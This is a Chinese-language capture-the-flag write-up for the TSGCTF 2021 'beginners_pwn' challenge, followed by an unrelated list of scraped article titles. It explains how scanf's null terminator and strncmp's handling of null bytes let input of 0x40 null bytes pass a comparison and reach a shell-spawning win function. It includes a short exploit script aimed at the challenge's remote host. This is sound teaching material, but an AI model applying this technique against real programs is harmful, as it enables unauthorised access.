程序逻辑很简单,ptr指针指向读进来的flag,s1是自己输入的字符串,通过strncmp判等,相等就能执行win函数。首先需要知道scanf("%s")在读取字符串的时候会在末尾加上一个’\x00’来截断


看一下栈里的情况,s1与ptr的偏移是0x40,那么在输入s1时,只要输入长度大于0x40,就会在
0x40+1,也即ptr+1处写上一个’\x00’
再看一下strncmp函数,比较两个字符串的前n位,若str1==str2,返回0,若str1>str2返回正数, 若
str1<str2返回正数。
事实上,strncmp的返回值是str1和str2第一个不相同位的ascii码的差值。
但重点是strncmp也会被‘\x00’截断
因此只要让s1和ptr的第一位都是’\x00‘,strncmp就会返回0,从而执行win函数getshell

from pwn_debug import *
context.log_level = 'debug' pdbg = pwn_debug("./chall") pdbg.local("")
pdbg.remote("34.146.101.4", 30007) p = pdbg.run("local")
p.recv()
p.sendline("\x00"*(0x40))
p.interactive()

tips:最开始以为c语言中非一个负值会得到正值,所以一直想着让strncmp返回一个负值就能执行win。捯饬了半天也打不通,最后发现c语言中非负值得到的也是0。

TSGCTF 2021 beginners_pwn wp相关推荐

  1. TSGCTF 2021 Welcome to TSG CTF! WP

    这道题我们队里讨论了很久,最后也是看了日本师傅的wp才做出来 content-type: application/json content-length:4null 最后的flag:TSGCTF{M4 ...

  2. [极客大挑战2021]web wp

    极客大挑战2021 Welcome2021 F12,提示请使用WELCOME请求方法来请求此网页 burp抓包,修改请求方法,发现f1111aaaggg9.php 再次请求得到flag Dark To ...

  3. SCU新生赛2021 pwn wp

    前段时间的极客大挑战2021和2021年的SCU新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了.太菜了呜呜呜.极客大挑战因为打太久了,题目都快忘记了,就不写wp了. ret2t ...

  4. ctfshow渔人杯2021 部分WP

    图片较多,手机加载较慢 python写的及其拉胯,所以请见谅(是真的拉胯) 解题用的方法都是笨方法,大家知道怎么做了之后可以找简单的方法 已解题:签到抽奖.神仙姐姐.飘啊飘.感受下气氛.我跟你拼了.套 ...

  5. [ISCC 2021]部分wp

    文章目录 海市蜃楼-1 Retrieve the passcode 我的折扣是多少 小明的表情包 Hack the Victim 美人计 李华的红包 小明的宠物兔 ISCC客服冲冲冲(一) 这是啥 W ...

  6. [祥云杯2021:Wp]

    MISC 签到题:鸣雏恋 flag值: 层层取证 flag值: 这次的比赛比上一次有了很大的进步,毕竟能够做出来 两个杂项题目了. 签到题:鸣雏恋 题目附件是一个zip压缩包,里面只有一个word文档 ...

  7. 彻底理解mmap()

    彻底理解mmap() 原创 Holy_666 最后发布于2019-01-17 22:51:27 阅读数 5056 收藏 发布于2019-01-17 22:51:27 分类专栏: 服务器 版权声明:本文 ...

  8. 2021年WordPress博客装修美化(一)

    2021年Wordpress博客装修美化(一) 2021年WP博客Blocksy主题安装和基础配置 接上篇,2021年Wordpress博客搭建 ,关于搭建WP的步骤,基本上都已经讲了.看完后,照着操 ...

  9. wp:涅普冬令营(2021) 监听消息

    wp:涅普冬令营(2021) 监听消息 为数不多独立做出来的题,留个纪念 首先,网页下载附件 用wireshark打开 发现里面有很多"user7",结合题目"流量监听& ...

最新文章

  1. ScrollView can host only one direct child 问题处理
  2. 服务器自动post,jquery ajax $.post自动变GET的解决方式(for CI)
  3. Exception in thread main java.lang.ClassNotFoundException: com.mysql.jdbc.Driver
  4. JAVA变量path , classpth ,java_home设设置作用和作用
  5. P1314 聪明的质监员(前缀和+二分)
  6. 两种常见挂载Jenkins slave节点的方法
  7. 【渝粤教育】国家开放大学2018年春季 0111-21T妇产科护理学 参考试题
  8. Spark 集群安装
  9. ci框架 乱码 mysql_CodeIgniter(CI)发邮件标题中文乱码解决方案
  10. 交叉火力dsp手机调音软件_DSP调音软件手机版下载-DSP音效处理器app下载 v1.0 安卓版-都去下载...
  11. ubuntu下载android11源码
  12. 华氏度和摄氏度的相互转化
  13. 建模专题1:石墨烯-氧化石墨烯及各种纳米材料体系的构建方法
  14. LDT面试:实验室开发诊断试剂监管模式(Laboratory Developed Test,LDT)
  15. MATLAB数值分析学习笔记:线性最小二乘回归
  16. java isreachable_java-奇数InetAddress.isReachable()问题
  17. 数据载入、存储及文件格式(数据分析)
  18. 基于风光储能和需求响应的微电网日前经济调度(Python代码实现)
  19. 《娱乐至死》读书笔记(摘抄)
  20. android逆向开发工程师需要掌握的技能

热门文章

  1. c语言实现爬虫功能,用C/C 扩展Python语言_python 调用c语言 python实现简单爬虫功能_python实现简单爬虫...
  2. vue.use和vue.prototype的区别
  3. 大比拼:讯飞星火大模型将超越ChatGPT?
  4. 3.4-3.8GHz 5G LTE CBRS频段天线解决方案
  5. qnap刷android tv,QNAP威联通TAS-168268全球唯一QTS + Android 双系统NAS诞生
  6. 电脑基本工作原理科普文
  7. yii2高级模板使用一个域名管理前后台
  8. 【物联网竞赛-LoRa驱动函数剖析】
  9. 基于FPGA的数字视频信号处理器设计(中)
  10. 数据分析从零到精通第六课 流量转换、效率宣传牌和量化模型